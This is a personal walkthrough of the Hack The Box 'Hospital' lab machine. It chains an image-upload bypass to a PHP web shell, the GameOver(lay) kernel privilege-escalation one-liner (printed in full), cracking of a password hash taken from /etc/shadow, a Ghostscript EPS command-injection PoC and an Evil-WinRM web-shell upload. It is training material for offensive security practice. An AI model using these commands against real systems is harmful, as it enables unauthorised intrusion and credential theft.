Overview:
This is a walkthrough of the Hospital Medium machine from Hack The Box. In this write-up, I’ll go through the different vulnerabilities I discovered
Let’s get started!
Reconnaissance & Enumeration
I started with an Nmap scan to identify the services running on the target machine.
nmap -sCV -p- -T4 <IP> -oN nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)
|_ 256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-08-09 01:45:04Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
443/tcp open ssl/http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_http-title: "400 Bad Request"
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
1801/tcp open msmq?
2103/tcp open msrpc Microsoft Windows RPC
2105/tcp open msrpc Microsoft Windows RPC
2107/tcp open msrpc Microsoft Windows RPC
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
3269/tcp open globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.hospital.htb
| Not valid before: 2026-08-08T00:55:58
|_Not valid after: 2027-02-07T00:55:58
| rdp-ntlm-info:
| Target_Name: HOSPITAL
| NetBIOS_Domain_Name: HOSPITAL
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: hospital.htb
| DNS_Computer_Name: DC.hospital.htb
| DNS_Tree_Name: hospital.htb
| Product_Version: 10.0.17763
|_ System_Time: 2026-08-09T01:46:06+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: "Not Found"
6404/tcp open msrpc Microsoft Windows RPC
6406/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6407/tcp open msrpc Microsoft Windows RPC
6409/tcp open msrpc Microsoft Windows RPC
6613/tcp open msrpc Microsoft Windows RPC
6619/tcp open msrpc Microsoft Windows RPC
8080/tcp open http Apache httpd 2.4.55 ((Ubuntu))
|_http-server-header: Apache/2.4.55 (Ubuntu)
| http-title: "Login"
|_Requested resource was login.php
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
9389/tcp open mc-nmf .NET Message Framing
14426/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-08-09T01:46:03
|_ start_date: N/A
|_clock-skew: mean: 7h03m40s, deviation: 0s, median: 7h03m40s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
The scan revealed several open ports, including:
- 22 — SSH
- 443 — HTTPS
-
8080 — HTTP
The web services immediately caught my attention, so I started investigating them.
---
## Port 443
i visited the the 443 web application and it presented a roundcube webmail login page since i have no credentials i decided to come back to it later
Port 8080
then I visited the web application running on port 8080.
The website presented a login page with a registration option so i created an accont and logged in and got greeted with this interface
which shows the ability to upload images to the website hospital
if we try and upload and image we get the success page
after doing some fuzzing i found the /uploads directory where you can view your uploads so this is definitely hinting for a file upload vulnerability
File Upload Exploitation
at first i tried to upload the pwny.php shell but the website refused it and redirected me to an error page so this shows that there s some sort of protection and filtering happening in the background
so i fired up Burpsuite to investigate more
the first thing that i tried is changing the .php extension to oneof those
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
so i kept testing those extensions in burpsuite through changing the filename some of them redirected me to the success.php but when i try to open the file that i uploaded the website throws a 404 not found
i kept trying hopping for something to stick and it did work
so i got greeted with a linux shell which is weird since this is a windows machine which indicates we re on a docker or a VM inside the windows machine
so i started a nc listener in my terminal and execute a revshell command in the pwny.php to migrate the shell to my terminal
The first Privilege Escalation
With access to the machine, I began looking for ways to escalate my privileges.
after some enumeration i found out that the kernel is outdated
www-data@webserver:/var/www/html/uploads$ uname -a
Linux webserver 5.19.0-35-generic #36-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 3 18:36:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
While researching for a public CVE, I came across CVE-2023-2640 / CVE-2023-32629, commonly associated with the GameOver(lay) privilege-escalation vulnerability.
which was a one liner command
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'
i ran it and yep we got root
so another intersting thing that i forgot to mention was that there another user called drwilliams after getting the root shell i decided to extract his password as it is highly probable that he s got an email account
Examining /etc/shadow
After obtaining elevated privileges, I inspected the /etc/shadow file.
This file contains password hashes for local accounts and is normally restricted to privileged users.
i extracted dr williams hash
drwilliams:$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/:19612:0:99999:7:::
using john i was able to crack the hash and we got drwilliams credentials i tried to use them to log in to his webmail account
and WE ARE IN
Investigating the Mailbox
While going through the inbox, I found a message from Chris Brown.
The message discussed Ghostscript and EPS files.
while looking through the web to find something that we can use to exploit this *
And I came accross this Poc
https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection
Ghostscript Exploitation
The general idea was to create a malicious EPS file that would cause the vulnerable Ghostscript process to execute an attacker-controlled command when the file was processed.
i used the PoC to create a malicious eps file then i sent it to dr brown
It took a few attempts to get everything working correctly, but eventually I had access.
the first thing that i found was the ghostscipt.bat script
and it contained dr brown 's creds
so we try them with winRM and it worked
Finding the Flag
With access to the machine, I continued exploring the filesystem and eventually located the flag.
Further Enumeration
I continued exploring the Windows filesystem and came across an XAMPP installation.
Inside the XAMPP directory, I found:
htdocs
Final Access
so i uploaded a pwny.php shell
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\drbrown.HOSPITAL\Documents> cd C:/xampp/htdocs
*Evil-WinRM* PS C:\xampp\htdocs> upload pwny.php
Info: Uploading /home/kali/HTB/Hospital/CVE-2023-36664-Ghostscript-command-injection/pwny.php to C:\xampp\htdocs\pwny.php
Info: Upload successful!
*Evil-WinRM* PS C:\xampp\htdocs>
After doing so, I navigated to:
https://hospital.htb/pwny.php
This gave me administrative-level access to the machine.
and we got the flag
Conclusion
The Hospital machine was a great example of how multiple vulnerabilities and misconfigurations can be chained together to compromise an environment.
Overall, this machine demonstrated the importance of properly restricting file uploads, keeping operating systems and third-party software patched, and carefully validating files processed by applications.
